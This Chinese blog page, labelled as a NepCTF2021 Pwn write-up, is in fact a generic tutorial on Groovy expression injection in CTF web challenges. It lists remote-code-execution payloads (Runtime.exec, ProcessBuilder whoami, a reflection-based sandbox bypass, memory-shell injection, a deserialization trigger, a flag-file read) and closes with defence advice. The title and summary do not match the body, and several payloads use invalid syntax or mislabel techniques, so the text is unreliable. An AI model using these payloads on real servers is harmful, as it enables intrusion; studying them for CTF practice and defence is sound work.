NepCTF2021个人赛

本文详细解析了NepCTF2021比赛中的Pwn题目,涵盖漏洞利用技巧、内存理解与实战操作,为参赛者和安全爱好者提供深入学习资料。
Groovy表达式注入漏洞在CTF竞赛中是一种常见的攻击面,尤其在Web类题目中,攻击者可以利用用户输入的未过滤或未转义部分注入Groovy表达式,从而实现远程代码执行(RCE)或获取敏感信息。此类漏洞通常出现在使用Groovy动态执行表达式的场景中,如模板引擎、配置解析或脚本执行模块。 ### Groovy表达式注入的常见攻击方式 Groovy支持通过`Eval`类或`GroovyShell`执行动态表达式。如果用户输入未经过滤或转义,攻击者可以构造恶意输入注入任意Groovy代码。例如: ```groovy def result = Eval.x(1, "x + ${params.input}") ``` 若`params.input`未经过滤,攻击者可以构造类似`' + {`calc`}`的输入,从而执行任意命令。在CTF中,这种漏洞通常作为入口点,结合其他技术(如反序列化、SSRF等)进一步达成目标。 ### CTF题目中的典型场景 #### 1. 模板引擎注入 Groovy模板引擎允许在模板中嵌入Groovy表达式,攻击者通过注入表达式获取服务器控制权。例如,在模板中使用`${}`进行变量插值时,若未对输入进行限制,攻击者可以注入任意Groovy代码。 ```groovy def template = "Hello ${name}" ``` 攻击者可以提交`name`参数为`${@java.lang.Runtime.getRuntime().exec('calc')}`,从而执行任意命令。 #### 2. 动态解析配置文件 某些应用在读取配置文件时使用Groovy进行动态解析。若配置项可由用户控制,攻击者可以构造恶意配置文件,触发Groovy表达式注入。 ```groovy def config = new ConfigSlurper().parse(new File('config.groovy').toURI().toURL()) ``` 攻击者可以在`config.groovy`中插入恶意Groovy代码,实现远程代码执行。 #### 3. 插件系统或脚本执行模块 某些插件系统支持Groovy脚本加载和执行,若未对脚本内容做限制,攻击者可上传恶意脚本实现RCE。例如,攻击者可以上传包含恶意Groovy代码的插件,并触发执行。 ```groovy def script = new GroovyShell().parse(new File('plugin.groovy')) script.run() ``` 攻击者可以在`plugin.groovy`中插入恶意代码,如`Runtime.getRuntime().exec("calc")`,从而执行任意命令。 ### 利用方式与Payload构造 #### 1. 基础命令执行 攻击者通过闭包语法执行系统命令: ```groovy ${@java.lang.Runtime.getRuntime().exec('calc')} ``` 在有回显的环境下,可直接读取命令输出: ```groovy ${new java.lang.ProcessBuilder("whoami").start().getInputStream().getText()} ``` #### 2. 沙盒绕过与类加载 若存在安全限制(如SecurityManager),可通过反射加载`ClassLoader`或调用`defineClass`来绕过限制并加载恶意类: ```groovy ${ClassLoader.getSystemClassLoader().loadClass('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('calc')} ``` #### 3. 内存马注入 在Web应用中,攻击者可通过Groovy表达式注入将恶意Servlet或Filter注入内存,实现持久化控制: ```groovy ${request.servletContext.setAttribute('a', new ExploitClass())} ``` 其中`ExploitClass`为自定义恶意类,用于拦截请求并执行任意代码。 #### 4. 反序列化链利用 Groovy表达式注入常与其他漏洞(如Java反序列化)结合使用。例如,攻击者通过表达式注入触发反序列化链,最终执行恶意代码: ```groovy ${new java.io.ObjectInputStream(new java.io.ByteArrayInputStream(serializedData)).readObject()} ``` ### CTF题目示例分析 一个典型的CTF题目结构如下: - 用户提交一个表达式,服务端使用Groovy动态执行。 - 服务端限制了部分关键字(如`exec`、`Runtime`)。 - 攻击者需通过反射、闭包、字符串拼接等方式绕过限制。 例如,绕过关键字过滤的Payload如下: ```groovy ${new File('..\\..\\..\\flag.txt').getText()} ``` 若文件读取受限,可尝试命令执行: ```groovy ${'c'.getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke().exec('cmd /c whoami')} ``` ### 防御建议 为防止Groovy表达式注入漏洞,建议采取以下措施: - **避免直接执行用户输入**:尽量使用静态字符串拼接或参数化方式处理用户输入。 - **使用白名单过滤机制**:对输入内容进行严格校验,仅允许特定字符或表达式。 - **启用安全上下文执行**:使用`SecureASTCustomizer`限制Groovy脚本的执行环境。 - **最小权限原则**:在受限权限下运行Groovy脚本,防止攻击者获取系统级控制权。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

叶叶扁舟

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值